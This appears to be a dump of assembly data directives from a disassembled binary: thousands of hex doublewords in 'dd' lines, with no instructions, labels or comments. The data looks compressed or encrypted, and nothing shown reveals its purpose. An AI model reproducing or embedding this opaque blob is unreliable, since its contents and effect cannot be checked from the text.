		dd 7C9A7F91h, 0D100FCD2h, 0A8E2793h, 28019FAh, 54131AFBh
		dd 0FCE8782Bh, 689E9FA5h, 3910AA8Ch, 3D070026h,	92DECFF1h
		dd 2500AD04h, 4E813FD3h, 11F0AFC5h, 7EF6B6h, 9C9A7CAEh
		dd 8E1C01h, 0DAE5B4D7h,	1796E1AFh, 5CAB413Eh, 84212458h
		dd 0F84674h, 1E35EB08h,	25B98D86h, 0F01720F2h, 60B81488h
		dd 627A8BA4h, 7C0F504Eh, 89A7E5DDh, 52AA3888h, 2800D808h
		dd 0EC5B70EEh, 0DA2A6D19h, 0D49CCC9Ch, 0BB5102DCh, 0F5DF5E6Ch
		dd 8D18DC68h, 2ECEE3A1h, 712E8044h, 0E506C51Fh,	23342B08h
		dd 61E905D4h, 0A1E4B3F7h, 0D80CB817h, 0E8FE1201h, 2A728D8Fh
		dd 60006C28h, 0B7CF499Bh, 85CB866h, 8CD9BC80h, 0EE463400h
		dd 0A7F0EDCFh, 0E7950076h, 11AB0E59h, 0C91FE7Ch, 0D618FFD1h
		dd 0E08BD0Fh, 0FD0F8166h, 8CCC3F4Bh, 7A8D0B79h,	40E865E2h
		dd 70BCA903h, 1FC4676h,	3E12C845h, 0FEEC8322h, 5875F6D8h
		dd 0A217C4E6h, 81508004h, 14BA0FE8h, 465CE496h,	0FA30057h
		dd 6D153BA8h, 76212BAh,	0A4B4029Bh, 7478BBB4h, 7606C612h
		dd 5E204F2h, 88B0032h, 4DED69Fh, 0E96D111Fh, 816CAC82h
		dd 165092B7h, 0B392C0BDh, 4860F0FBh, 0F0E61544h, 6D8E26F6h
		dd 0BB215E98h, 0B6938371h, 0D6988396h, 14EEEFD4h, 0D8D56FFAh
		dd 80E880B0h, 72AE8D0Bh, 40A4B68Bh, 18352694h, 0EEC67A01h
		dd 2C92BEA5h, 1490032Ah, 3AB57EE3h, 175A23BCh, 2D00BBB4h
		dd 0AC4687A8h, 0DCF0B4F4h, 40BDDE00h, 0BFECB70Ch, 41D8C2CBh
		dd 1C720A7Eh, 0EF50E200h, 29FC5616h, 0B14202AEh, 2B108B45h
		dd 0DC87A054h, 5987CB8Eh, 8F6D7A11h, 58CCD3CAh,	0E316CE27h
		dd 500462FEh, 380BD86Bh, 6AE2E018h, 0C98D010Fh,	8E72A48Bh
		dd 79243CA8h, 97A703F4h, 0E04A23E4h, 7F23F02Fh,	8804F317h
		dd 2902C089h, 3078D122h, 0DA970A13h, 186F68C1h,	810918Bh
		dd 0DC625C12h, 0DCB65400h, 0C0C2AA43h, 0F91F76A5h, 18577908h
		dd 0C76D00BFh, 0B604B9FCh, 3606AFFFh, 3891A7BBh, 8A8424E9h
		dd 82E24E88h, 60E4103Ch, 757F8E02h, 0E95DAD43h,	0BC14E62Ch
		dd 8C01BCCCh, 56495A0Ah, 0C00382Bh, 693930ACh, 97722F8Eh
		dd 0CF91041Fh, 58DD5080h, 8CE8FB25h, 973DA027h,	80DA9134h
		dd 7DD8FDEEh, 2C94FCC8h, 0DE00E566h, 7A971D01h,	92FF93EBh
		dd 40A6C464h, 5D59DA4Ch, 34843DBCh, 6CB239E5h, 4530DCF2h
		dd 0E4AF0F0Fh, 0EE0076Ch, 71CD7E4Fh, 46764496h,	5C3D3F08h
		dd 5A2904A2h, 34FCFF89h, 6B5EE039h, 0E0D500D0h,	2B9AE735h
		dd 8D810025h, 18998C60h, 0AA12EE2Ch, 0C8F056A7h, 75851F15h
		dd 72F8C0C1h, 5DB034DFh, 9E00A87Bh, 6B97482Ch, 25A746h
		dd 0CBEED5ABh, 8E8C8B6h, 24BE313Ah, 0C3C201Bh, 11C49674h
		dd 10576A8h, 27045E1Ah,	982C47B2h, 8521AF08h, 6C40F1Dh
		dd 0BBE061DCh, 5C81E9B6h, 11EDDF0h, 0D114F02Bh,	52550E08h
		dd 0C2A30083h, 67A0D653h, 0C2BF18BEh, 720009B3h, 67FF631Bh
		dd 11C860EDh, 406CF37Ch, 6BC352C4h, 0C2084766h,	742D0021h
		dd 951AFEF3h, 9B00103Dh, 600F2E6Ah, 0C8D54271h,	21CF6D50h
		dd 4F536EF3h, 2B20D619h, 3FF34Ah, 0C1A770Ah, 66D88246h
		dd 5FA8DA50h, 0AFAE5714h, 0F8E3EA0h, 83308D53h,	6413A2FFh
		dd 606C7040h, 236DF37Dh, 0C4117753h, 0F3752A00h, 56B26201h
		dd 160F830Fh, 9A0E40C2h, 54B3B86h, 2352357Bh, 0D990023Eh
		dd 0DC80A980h, 8B53B51Bh, 0EB182F60h, 0A0C168DEh, 15C1DA8h
		dd 0CCC70BABh, 9FBE06F5h, 0E50F1031h, 0F097036Ch, 3B190007h
		dd 82030465h, 0EC19A369h, 3D08719Ah, 6D5A2180h,	0C20DFB04h
		dd 6B042F76h, 155D806h,	76C08241h, 629043CCh, 3C84C1F8h
		dd 0D486570Ch, 1AF90A9h, 6D8AE609h, 424B1A97h, 5C20D890h
		dd 0E24CB479h, 544A00C0h, 70B2B864h, 93032907h,	4D080697h
		dd 308866Dh, 1B135561h,	0BED1586Fh, 19644893h, 82210477h
		dd 6146C009h, 2600FF04h, 884AFA0Fh, 0C5F5E0Eh, 0EED44922h
		dd 0A7145D50h, 500853C1h, 0E18C4B88h, 465E65D8h, 30AD222Ch
		dd 0E4201888h, 37FADB02h, 28F94401h, 0A7E13C42h, 8C607024h
		dd 69F37902h, 16519753h, 0F3712E00h, 0EC59FA0h,	15AD0287h
		dd 37830A34h, 0DB6DFC81h, 0A2DC23B0h, 3D0C30D3h, 72D80E0Fh
		dd 10E20950h, 38AB702Ch, 5F803E0Fh, 0E7F17DDEh,	1F0A8951h
		dd 0A80DF357h, 20494F80h, 2CF8693h, 6E75B4ECh, 0F0800867h
		dd 667D3BD8h, 0C9DDFE30h, 0D13370h, 94EEDC3Dh, 0F975CA90h
		dd 0E0CE5207h, 9D5091BCh, 480B6660h, 53095D8Bh,	202704B6h
		dd 119C8A14h, 0F3788067h, 8C9F5368h, 11C144h, 95D7F370h
		dd 0BF5CC546h, 0DCA26124h, 0F6201801h, 9C5234D1h, 0D8073176h
		dd 74465E18h, 8302D022h, 15EAC41Fh, 5BD94082h, 0D36D1247h
		dd 961849D1h, 4644830h,	61820211h, 45893388h, 80BC0E6Ch
		dd 61D0B896h, 9DF0063Dh, 0F014BEC7h, 97E18F3h, 6F536AF3h
		dd 2F265C9Ch, 0F41F9476h, 36D591C0h, 60C2C102h,	6FC9E8D2h
		dd 80A0A7F2h, 0F4A8A8E2h, 0E0002BF4h, 55330398h, 21C1EE4h
		dd 0FEFCDF1Fh, 0F00309A6h, 7EB1041Ah, 9026FA3Dh, 0B289D964h
		dd 0E2812C99h, 0D5A6F885h, 0D118708Ch, 6E19D998h, 7128BD6Fh
		dd 4CE10430h, 0A70C417Bh
		dd 7890B1C9h, 972A2B0Bh, 3700090Dh, 9B2A87D8h, 0CE098018h
		dd 0C735929Ah, 0E80420EBh, 0C0050F9h, 0C36FD89Bh, 976D91C9h
		dd 80319184h, 5CFE209Ch, 4B9130A7h, 0ACF88458h,	2048C58h
		dd 7987D9C8h, 2B8C80C7h, 0C52A1F0Ah, 48A7F3D8h,	18C0923Ch
		dd 46820604h, 1362201h,	0C4046041h, 24D894FBh, 0EC009544h
		dd 11867A69h, 5BAFEBh, 8AF8668Eh, 42F729C1h, 0D4E7C528h
		dd 23C88489h, 30C4A228h, 34008CC7h, 9E75DD27h, 0FF53E31Ah
		dd 0CC20B7C1h, 918E6A95h, 0AE4674A4h, 1CC53F1Eh, 6F58C217h
		dd 0A49B30C0h, 8982916h, 0CD16C004h, 0C5A9D900h, 575C691Ch
		dd 88DE305Ah, 0A2475E1Eh, 61C800CBh, 0C0B1C2Bh,	0E6C8529Ah
		dd 0E4997D48h, 8C18D279h, 7531F406h, 19C195h, 5EE9C5A2h
		dd 0AF793673h, 6017FDFEh, 6804EC2Ah, 8007A668h,	32089104h
		dd 0C93983D7h, 165D0A5Fh, 6D1FA0h, 0C334EB64h, 0FEE28CCCh
		dd 0D4076E45h, 0F373C068h, 4743536Fh, 0C04B2884h, 86B74A74h
		dd 5E0E3E78h, 0E6532B05h, 2690B244h, 60DCC7CEh,	0DBE567DCh
		dd 52668501h, 779045D0h, 0C5A24C63h, 7A0F30h, 6F1A8A59h
		dd 7BE3346Bh, 32177990h, 5845353Bh, 0C008E5D1h,	6103C74Ah
		dd 23145E64h, 60878E10h, 55DC7AC4h, 65162603h, 42A11231h
		dd 0A6DECB0Ch, 0F6569840h, 0A40F1100h, 1DDF6E2Fh, 0FBD901B3h
		dd 0C43B3142h, 0F25023C1h, 0F3CF30D1h, 0BD716603h, 180D2F5Bh
		dd 89B786D1h, 23302A35h, 0C455181Ah, 84080617h,	49DB9496h
		dd 0F006AF4h, 47C6536h,	0EB0BABFh, 0F0062F82h, 1D6C0456h
		dd 5EA4C8E3h, 7FAD6C00h, 7CC6B35h, 883683Dh, 9473007Ch
		dd 0FE6045ADh, 9BC4EE54h, 0F78F3C00h, 0F010258Eh, 306C4C8Ah
		dd 0C38C3FBCh, 17354D64h, 9D65DD98h, 0BCBB8F09h, 0E4184580h
		dd 0B4CC6037h, 8700B967h, 3088AAC3h, 32946018h,	77A50200h
		dd 7E429A46h, 0F6157AE5h, 0B4182069h, 28C0156h,	357BAD68h
		dd 0C75A304Bh, 907780h,	9BD2BDADh, 1DF73E2Ah, 0B9920B04h
		dd 78B5BFC8h, 8C98BC20h, 11046638h, 32887182h, 46E5B80h
		dd 1376D46h, 0B524EDCFh, 40219B33h, 0D4B1E9F8h,	50B0DA48h
		dd 34400310h, 0FC1A4CB8h, 14367F10h, 23F46A8Eh,	0AD69011Eh
		dd 18733578h, 917088A6h, 0D77CAD01h, 0FF81EACBh, 48EE05C8h
		dd 87FB077h, 3E6F322Bh,	1D5F0600h, 6B666DD8h, 443740BCh
		dd 0B142C380h, 162185h,	0CA8E4617h, 0F2BED8D5h,	0DCBF20F1h
		dd 0D0327C91h, 8A6D311Ah, 689335B0h, 0AD95E853h, 0B04A003Ch
		dd 42B3845h, 81C709F3h,	8FC0D780h, 0CF2D13h, 0BA96D55Ah
		dd 0FFFD5048h, 0E8D4EC58h, 0F53B8C3Ch, 99B40032h, 556A486Bh
		dd 0A4FC28DEh, 4694A6D8h, 41F0291h, 9C398209h, 67400094h
		dd 3C28CA04h, 2C267792h, 70116CE6h, 9D6098Eh, 10656448h
		dd 0C4018183h, 5F89E8DAh, 13D2F8BCh, 6F6F8550h,	7C1500C0h
		dd 0C0E2954h, 5C6B044Ch, 86A1F5BFh, 0D817A078h,	3C3F7250h
		dd 4E003F23h, 0AD7D03AFh, 8DE603E7h, 0C0C41623h, 8647D101h
		dd 0BF17208h, 0F80632F0h, 0EE7A0312h, 0C65981D9h, 0BC742849h
		dd 67840CBEh, 4E910EF0h, 8071F901h, 0BD5662D9h,	7B4498E7h
		dd 2E201782h, 6D1000CAh, 0EE2A610Bh, 0BB8C0E00h, 0AF06ABF1h
		dd 10A14A44h, 0C0E8B464h, 2FBA0E8Ch, 99FD4450h,	0E1E79134h
		dd 0C402CC4Bh, 0C781A50Fh, 3D7C07Fh, 2822FD54h,	25C897F9h
		dd 3CA2A8D1h, 0FF07CBD6h, 3361BCh, 3DDA01B7h, 0D96C2BD7h
		dd 1B818379h, 237C98EBh, 35B61362h, 188C08C4h, 72AD6FC1h
		dd 0BC2383F9h, 0AD977E80h, 0A201B62Dh, 5BB4F224h, 1C3026FBh
		dd 44575A27h, 46BF3000h, 0B9992AFFh, 18DC79C4h,	20084CD3h
		dd 96120F01h, 23A85C1Ch, 3036A2B4h, 14987A73h, 7CF35529h
		dd 0CD18A771h, 0CB81F301h, 0DC6630C0h, 0C9B7BC43h, 989F4458h
		dd 0F9C7190Bh, 0E28C6847h, 19751994h, 4E8AFB06h, 86B02C1Ch
		dd 5DC41A00h, 0A8D6CDA6h, 474B4ADh, 0B30CCB42h,	30C7B274h
		dd 2101287Bh, 98833F92h, 0D9E4E21Ch, 0D25E05ACh, 132BF0Ah
		dd 18D65330h, 0B4B068A4h, 0C4B2A4B2h, 0FE7F30h,	6B67E5E7h
		dd 0D938BB27h, 0D884D000h, 872D1BA9h, 60D61855h, 0A3370D7h
		dd 803B4F20h, 861932A4h, 0D1719891h, 8809FE18h,	909560ADh
		dd 666C33Ch, 1623F16h, 0AB217009h, 18519124h, 0A2C9EFE0h
		dd 0B384033Ch, 42F88D88h, 6A0880CCh, 963B9A0Eh,	30D0C821h
		dd 55621922h, 3032F414h, 0D5582B67h, 4432AEDBh,	0C1535173h
		dd 2900BF28h, 485B575Ah, 0DF23603Bh, 0E2073602h, 0E96048B4h
		dd 900A00EAh, 0CA75D997h, 64A20F79h, 0AE14B402h, 97E6BF02h
		dd 80C11138h, 92C3344h,	1A713DCh, 4E64904Ch, 208434DBh
		dd 1E00C226h, 0A3F39946h, 19A2ECCh, 0B2E9648Ch,	406D664Eh
		dd 613A584h, 841C0FE0h,	638057Ch, 169DB58Bh, 368D711Ah
		dd 180C1B21h, 0B01F2D20h, 0B232C3F4h, 55806A44h, 3EDC03E8h
		dd 0C35D2007h, 246C8920h, 44813304h, 21001708h,	7BC35545h
		dd 0D598FBCh, 21D98D29h, 0CB1B4056h, 145299CFh,	3019E22Bh
		dd 2B017363h, 0F91435Fh, 1F961A82h, 0D701856h, 0B4002C51h
		dd 9453EA9Dh, 0DF6F66h,	0AA1C3DB5h, 15E23225h, 0C75E5F00h
		dd 6B340441h, 8BCE2670h, 1012304Bh, 3118D6D7h, 0EB5307E8h
		dd 0EF3F00BBh, 1A8528Fh, 0A0A93D8Dh, 66C89B5Fh,	9185DA3Eh
		dd 0BADB31A6h, 0E8900119h, 0D94B8F0Fh, 570E0D8h, 0FD6FF4h
		dd 0E1738149h, 0F4D5212h, 2BC6B7B8h, 0B0EE9h, 1253E8E6h
		dd 0DE37195Ch, 701E51E6h, 5F4C7366h, 50FB7E50h,	40E5E090h
		dd 951BFF09h, 2B0C1179h, 0EB556A2h, 8944C35Eh, 463874h
		dd 7D59C356h, 334212F1h, 0B9666007h, 0C35F7CA7h, 714E958h
		dd 52E2712Dh, 8741D07Dh, 0AF3C1159h, 64BB80E8h,	4693B53Dh
		dd 61093850h, 949936C9h, 0C5591851h, 224C8974h,	4124164Ah
		dd 89D382C0h, 0D44E9060h, 80186C17h, 81660D05h,	4911F715h
		dd 0E91240EDh, 0C80B0960h, 1DE5775h, 0E001A639h, 20C00B63h
		dd 28A04A8Eh, 0AADCFABFh, 0E9294F90h, 338500C9h, 2ECA724Ch
		dd 0BC691200h, 74EFDE15h, 29A402FEh, 0B8C3B2F6h, 0F18B48A0h
		dd 0A193E1FFh, 0D065F079h, 53239C0Ah, 44C35B0Eh, 15625C89h
		dd 0C3534320h, 662A05FCh, 1B9C0BEh, 0AA727C9Fh,	88274B44h
		dd 0FB2EC01Dh, 0FD0F0AB9h, 42557036h, 92830FC9h, 0F3B2B8h
		dd 9589F982h, 2D2B4D35h, 153CCE40h, 68CE7875h, 3749BFACh
		dd 5048D9D6h, 0C3725818h, 11448923h, 50400E1Bh,	2C93E0C3h
		dd 14BDC99Eh, 0B531831Ah, 0BC352321h, 810FEB60h, 9243DD1Fh
		dd 0E899228Eh, 0D3051244h, 0F896D8C9h, 315D2EC0h, 0ECA200B8h
		dd 0A67F8D51h, 0E606BEBFh, 10E9505Eh, 0A23D0035h, 0B7418C3Fh
		dd 0A0F18E7h, 82E6F416h, 7D8D308Fh, 0C183B74h, 3CCF0231h
		dd 0C1071164h, 0F21CB7C0h, 0FA45FA34h, 3958B02Bh, 240B4C3Ah
		dd 0D941AD38h, 884022F3h, 0C35AC352h, 4A548991h, 72422C2Ch
		dd 4353E704h, 1A23DC98h, 54304DBDh, 0E51DD7BAh,	5B801411h
		dd 0D61BD8Bh, 88EB52D4h, 60F8925Fh, 0A59D89E9h,	0D70C0E6Ah
		dd 15D93C21h, 224C3218h, 70622DBh, 0FAABE681h, 0FD080951h
		dd 1A465C2Bh, 26C3517h,	0A223BDA9h, 2591C094h, 65181C71h
		dd 91FD8700h, 8F1B8D35h, 0A5C6A0CEh, 54CA2C95h,	4A00DE10h
		dd 0FAB7FE59h, 2C8589AFh, 72F22071h, 1C117F15h,	802B680h
		dd 0CD09B179h, 2013A9F8h
		dd 5F596911h, 0FEFC48CEh, 23602AB4h, 39BE1814h,	26E35F51h
		dd 0F08846F3h, 0B8D10FBh, 8916C548h, 0FFA83889h, 0EB443A80h
		dd 0D34A4700h, 59572685h, 0FAD12401h, 8F6881BBh, 0A80F6DB5h
		dd 0E8ACF96Ah, 19916FA0h, 0E944DAB9h, 9B86088h,	1C98C78Bh
		dd 0D5B5B438h, 2ED21543h, 1723BDh, 0A1B51BE3h, 25A2860Fh
		dd 524CB791h, 5F30572Dh, 5389E4C3h, 4781C87Ch, 6073C357h
		dd 0D593F716h, 0A6A9CF29h, 0D01818F1h, 1D478400h, 0E9CA033Ah
		dd 0FFF23860h, 40C0E8A6h, 0EAFEC251h, 86D6B601h, 97C1AD84h
		dd 0EF97C30h, 0BD8963FDh, 0A8E7342Ah, 0C18B2917h, 1814D1A0h
		dd 0AE93372h, 3588B113h, 0A026362Dh, 7C0A8966h,	0FA68D1EBh
		dd 2A1326h, 0A2ACF953h,	0DE6F3019h, 0E4E80101h,	3880F7Ah
		dd 2E587573h, 1EA98508h, 0E59D3104h, 0BE91691h,	0F0532980h
		dd 8A76DF5Ah, 0DB0034ECh, 509030C2h, 55CBF52h, 0F5F2D18h
		dd 0FAE00331h, 90F0585Ah, 43C708E9h, 24A0401Eh,	692D1D60h
		dd 509DC84Eh, 0CF8B1411h, 232D2582h, 0C909CC08h, 0BFDA101Ch
		dd 0FDAA18B2h, 0F5CFD64Bh, 129D1649h, 0A32134E1h, 83000961h
		dd 310C05C0h, 122835B5h, 94BF0E57h, 87F29E3Ah, 251982ACh
		dd 5B37C74Ah, 68E92189h, 536F00h, 0AC44508Bh, 0B0CF308h
		dd 0C91A2A79h, 37648480h, 58AF80F3h, 0EFBA9FDDh, 113D8CA0h
		dd 7F286081h, 978E7C80h, 4D180D96h, 0BF9663CBh,	35614CD0h
		dd 3207F11Ah, 7D804035h, 0BBDFB591h, 9D525033h,	0ACDD4C4Bh
		dd 0A36A9D0Ah, 0C89426C5h, 0E0ED1EC5h, 3BD3FF29h, 0A8181571h
		dd 85FFDA0Dh, 0BA3B4BD9h, 0B529E121h, 67242CF1h, 0E80840B4h
		dd 5D021FDCh, 48D9ED81h, 0EDBD0313h, 0C6CE9A57h, 4E0C0B21h
		dd 40212D0h, 0CF018578h, 0C0168870h, 603DF62Ah,	39F78000h
		dd 0EF8161F5h, 4AE40372h, 119D8B0Dh, 88B2CF8Dh,	59C6C31Dh
		dd 82FE8A8h, 0C8A27C1Eh, 1AE3818Eh, 915E9DB6h, 38308118h
		dd 0B0743A69h, 0DB054421h, 0B0850F1Ah, 444BC72Dh, 58546614h
		dd 9CC761F7h, 1F73808Eh, 2613BD83h, 5ED316F4h, 8125003Ah
		dd 0CD59D4C6h, 8D158907h, 34F12A25h, 0DFDB8D75h, 4FA400DFh
		dd 5133E218h, 5B99ECCCh, 85C7285Fh, 5AD9947h, 120A810Fh
		dd 0D111A06h, 0E5E97D83h, 91432D93h, 3015A2E7h,	0ED9C3650h
		dd 0DC41F214h, 8DF92422h, 8150601Ah, 660E23D6h,	0FD5F241Dh
		dd 5CFEFF8Eh, 46749CECh, 8C75001Dh, 0DB027B37h,	0E34116C0h
		dd 4843128Dh, 660F14A8h, 9E04F28Ch, 0F60A2BA1h,	53D920A6h
		dd 1CF28069h, 0CDE6D033h, 0D7010C67h, 95CA3558h, 0D121112Eh
		dd 706002F6h, 0A288CCDFh, 1B7976C0h, 42FE9081h,	8FFA4245h
		dd 600E316Bh, 616E76B6h, 12BF9020h, 663B5CE4h, 2204ADE9h
		dd 50509A5h, 0C8AACEB0h, 78FFC018h, 0E6EED599h,	0E26E7052h
		dd 6A5D301Ch, 0F404FEF8h, 0BCD83F8Eh, 0E4F6EEC0h, 19A6C471h
		dd 0B6DF1E11h, 4674D8E4h, 8F2E031Dh, 80F6F79Bh,	12AAE458h
		dd 7E06BABDh, 0E11000BCh, 5AA43191h, 5C39F18Bh,	6A2DC5B8h
		dd 374B105Ch, 0F7930054h, 50AA59DEh, 3900BC6Dh,	0B92185E4h
		dd 532D40h, 8B60FDC1h, 0FBB70FC2h, 0E8176179h, 90B0304h
		dd 1189013h, 0F7668015h, 0C08CE25Ch, 0B97AE6ABh, 753A006Bh
		dd 0B1197E41h, 8912D82Bh, 2E56A19Dh, 90E89309h,	0FE16A915h
		dd 0C08F014Dh, 2A7BDF75h, 1C1D605Eh, 0E8952448h, 10098C17h
		dd 82B0236Bh, 234B187h,	61C4B5FFh, 2D602B8Dh, 0B945DCB4h
		dd 1DE09E1Fh, 33F4C131h, 20FD880Dh, 4EEDA9C9h, 0C01A8833h
		dd 0C86BF776h, 0C635B228h, 13F5BD12h, 0DAE8A722h, 0EE230081h
		dd 0A5C65157h, 0D51EED48h, 0A1443E7Fh, 9B855EE5h, 0A184C7DBh
		dd 0C8A252h, 404A42B3h,	9E5B4D4h, 5E987D16h, 0B589A101h
		dd 3CE9501Dh, 83120F61h, 7C3E028Eh, 0BA001A23h,	295E258Eh
		dd 666A02B8h, 1DA2DE81h, 8589D048h, 53C8095Dh, 7F602CB1h
		dd 0E28C0400h, 70952B38h, 216181D9h, 0B8CE399Eh, 0B3BE668h
		dd 6C9B50Bh, 26D780A0h,	5F49EB8Eh, 0A2AF438Ah, 73BB3019h
		dd 20EC0300h, 25DF816Ah, 33CB2452h, 995A6A5h, 9702E6A0h
		dd 9F0A1161h, 90583623h, 0A8DA0992h, 0E80238FFh, 0CD9D58F0h
		dd 0D6851511h, 0F3B50019h, 3CF85228h, 373B0AB3h, 61060B8Eh
		dd 0E288FEB0h, 8141BC01h, 0B96079D6h, 0F2806307h, 20453114h
		dd 1240AD87h, 35C14883h, 1C8C18ECh, 2F07919h, 65BD2992h
		dd 0B696F658h, 0FD93B00h, 0A7012886h, 601B4456h, 289E3633h
		dd 4CF4C853h, 0AFC0C40Eh, 0CA892D06h, 49DF1300h, 6D289A93h
		dd 9EA505C4h, 1621AAC0h, 0D92400D5h, 1B8560BEh,	0F7811E00h
		dd 520444A4h, 29C15DF6h, 309FB627h, 0B1831A11h,	4BB0523Ch
		dd 27BB2D8Ch, 0AC7C5B15h, 98A37196h, 86DC0FE0h,	9B522BB2h
		dd 3D648185h, 352D0834h, 0F21F4135h, 4E9C2E41h,	0D17B7C00h
		dd 752960ACh, 1BE9A9Dh,	61C4F580h, 0AC43E95Fh, 0F4DE2331h
		dd 7F710022h, 535E4FBAh, 0C04B8B88h, 8B1CCE6Eh,	0D808B040h
		dd 0CD4E85C7h, 7DFBC01h, 8C265AFEh, 890FD5F0h, 0BC701F5Eh
		dd 17E4F892h, 0EF03D24Ah, 33568800h, 3FE37C57h,	53061F5Eh
		dd 318A0F2Eh, 0DCD25FE0h, 1415ED04h, 8586FCB6h,	0FC3B332Dh
		dd 2321B5FFh, 68E09EE6h, 0B500E3A9h, 0B8125759h, 79F9608Dh
		dd 0C42CA7FFh, 0DC306718h, 0B101F18Ah, 0A7174BCBh, 35801911h
		dd 1B023BDFh, 2F140A4Dh, 1D4B790h, 0BD894D29h, 904DF7FDh
		dd 78BC96h, 2FAA6E4Ah, 0BD01387Ah, 501AC133h, 739A98BEh
		dd 0D1BC9108h, 62181Bh,	727DE0DBh, 292EC731h, 9858D2Dh
		dd 0C05C4D2Fh, 9227070Dh, 26655705h, 4FE632B7h,	3360A7E0h
		dd 25498D19h, 0F761898Eh, 99C3EB14h, 8107D42Dh,	0CBEF20EBh
		dd 605A6159h, 899A3520h, 85E079h, 0B4A89935h, 261BDE69h
		dd 8B431D06h, 0B51BDB5h, 30D8BB66h, 9D46238Fh, 6058162Fh
		dd 23D70C67h, 6435726Ah, 85BD7F19h, 0E93C90C3h,	0FF71F753h
		dd 7D5F2B7Ch, 8BFCE902h, 2563E0C1h, 0AD07820Ch,	182D389Dh
		dd 0B18B0F72h, 6D4231AEh, 0E824A317h, 239A678h,	3E2EFE1Eh
		dd 6FD91FF0h, 12A5F2B2h, 197BA5C0h, 511264B6h, 38C13688h
		dd 0B500C90Bh, 0A26B41F8h, 3D011FADh, 5E5F3ECEh, 726C310Fh
		dd 4A126158h, 7DBDE04Eh, 895D0A50h, 1AC98D14h, 0BAD8408h
		dd 0C1329419h, 0F2C36417h, 561B45B6h, 22CA226h,	0A4C6905Eh
		dd 2297FA01h, 157D5512h, 2726CCh, 36162C4Bh, 2057A75Bh
		dd 5041AF0Ah, 0DA0F1AE8h, 9FBA4013h, 0DDBBB1h, 3428AB30h
		dd 0C620F8DEh, 226D460Bh, 0D46440h, 11758AC8h, 73B89833h
		dd 0E56084CAh, 91950B02h, 0D2610610h, 0DC2196h,	1468CADCh
		dd 0EA5FBCABh, 4AC7BFFEh, 0AD08870Fh, 9E97463Ah, 0BE801D11h
		dd 192EF322h, 0D1910104h, 6D817FEAh, 0A30523A5h, 60E2404Ah
		dd 0D3FF3C17h, 0CF805CDBh, 3DB0BE66h, 266845B6h, 417465Ch
		dd 2BD4F58Ch, 5C6D0583h, 0C43D2AAFh, 0CE1BE916h, 283C2463h
		dd 60B3F065h, 356B6DC8h, 8B9F8252h, 3C6A399Dh, 271B853h
		dd 41012530h, 0D04F690Fh, 8C1BA828h, 0E513AFF4h, 45F1A7BFh
		dd 20F9F301h, 0A8CD526Ch, 0B88F2933h, 0C6F30C5Ah, 72170DE9h
		dd 861AFE00h, 6F8938D0h, 734FC78h, 0BD835E69h, 5A64FB98h
		dd 0B604944h, 1B0D8503h, 3FB052CEh, 20A9D155h, 719481A6h
		dd 1C467Ch, 2ABBD854h, 2801C09Bh, 20881A7Ah, 23762B81h
		dd 5616B15Ah, 0D1ACC81Ah
		dd 6004A469h, 0D66AB7EEh, 0F64F420Fh, 1B35AC48h, 898D1531h
		dd 299C2201h, 181DD95Ch, 725E00CCh, 0B1A3EC54h,	6B24BCF7h
		dd 2C69368Dh, 0F1C9CC93h, 1F6FA305h, 28169D09h,	202F48C9h
		dd 7E155CD9h, 6A1DE9B0h, 0FBC003AAh, 9DF3275Eh,	0C82D0B1Fh
		dd 5A64BE34h, 0C02C5345h, 15941E20h, 2DF1846Dh,	8A0F9000h
		dd 80EC9AA4h, 0AE0D026Ch, 0E3905650h, 7264DAF0h, 96593202h
		dd 7417FA4Fh, 0B53361AEh, 0E90A74D9h, 0BE5D81E3h, 729B580Fh
		dd 11229C3Ch, 922C0700h, 6EE40C3Eh, 53C700DCh, 0C87E0EA3h
		dd 0E91359AFh, 0A1C5F98Bh, 5A8068DBh, 9CB096C0h, 0B150DE05h
		dd 0F6817D86h, 0E4011621h, 0F0166671h, 1691B77h, 19F4A6Bh
		dd 3BA017DFh, 9286A913h, 25F35B0Ch, 0E073B640h,	18023BBh
		dd 9E2DE5Eh, 9C3F4847h,	0CEBFF85Ah, 1189469Bh, 6388A618h
		dd 3E69D402h, 784CA399h, 915AA0A8h, 0E2F7880Fh,	0A927ABB8h
		dd 0C283AF31h, 0E193F8BFh, 0A0D25E4Fh, 9C97E429h, 848B1D37h
		dd 9D014210h, 0FCD306C5h, 171918B1h, 0B0AA214h,	0CC45B509h
		dd 5612945Ah, 22001B46h, 9C91D2A0h, 0E84860E9h,	7A545A99h
		dd 0EF9B4F27h, 0A560DC80h, 28758822h, 616B83B0h, 39A244CFh
		dd 0FD00B01Dh, 0DFEA313Fh, 972BC6h, 0BE615966h,	8F08285Fh
		dd 60710F94h, 0D3C03FB6h, 6115E8C9h, 4C90DFB4h,	18A854D0h
		dd 0CDBD058Ch, 0C114102Ch, 28015DFDh, 0DCB1842Bh, 0E08C5195h
		dd 0BE9F3F01h, 0FEC428h, 0BA0FFE61h, 0A24D1AFFh, 85F3AF04h
		dd 6795DB06h, 1DB2D7F3h, 9873A630h, 90E7C27h, 111786FBh
		dd 0BBE6400h, 1E4978B0h, 0A16E4E40h, 0A61F5000h, 69F162DFh
		dd 108F0F25h, 890C8CE3h, 5A3DE9h, 177FC4CFh, 928EDB40h
		dd 0E5565374h, 0AC80B23Eh, 7FA13104h, 0B848EE6Ah, 0E2E1C074h
		dd 453BEA2h, 5E180768h,	0E68D845Fh, 0AF12E06Dh,	5E8A00A3h
		dd 0EE4AC20h, 8926BD01h, 9D4AEC17h, 5864763Bh, 0E84A11DAh
		dd 0A4B80048h, 0D73A3D33h, 0B6170B2Eh, 2D25E96h, 0FDE42923h
		dd 11048B81h, 0C5D8BE66h, 6FC15E83h, 1FFB161Ah,	0DE3DAAC9h
		dd 7931E728h, 0D1E3998Ch, 57F8191Ah, 95390BBFh,	0B944567Ah
		dd 1BF29343h, 113A30h, 0A1D0C50Ah, 8D0F84E8h, 0DED618B5h
		dd 0B09F595Ah, 0F9D7809Eh, 30469DBh, 7559BD2Ch,	0B4045B92h
		dd 29020D4Dh, 6BEBAD9Dh, 0E189C399h, 3D0D7571h,	6F338DA4h
		dd 30B8C22Dh, 595CECA2h, 21B6962h, 15E62CE9h, 2C196120h
		dd 8D0C08Bh, 34242FB1h,	184B1C24h, 0FA814Ah, 0F933A049h
		dd 3520DD2Bh, 0A6F45600h, 0DE1B36D6h, 43A85A15h, 0FDB5899Dh
		dd 4AB9DD58h, 0F91BF890h, 893D26F1h, 400A14EDh,	0B6BC6849h
		dd 2D02263Dh, 4C821E5Fh, 1AFC4C34h, 9766018Ch, 0BF883F3Eh
		dd 25112F20h, 0A9344FE6h, 12D9F20Eh, 0DAD661A2h, 0A21280E4h
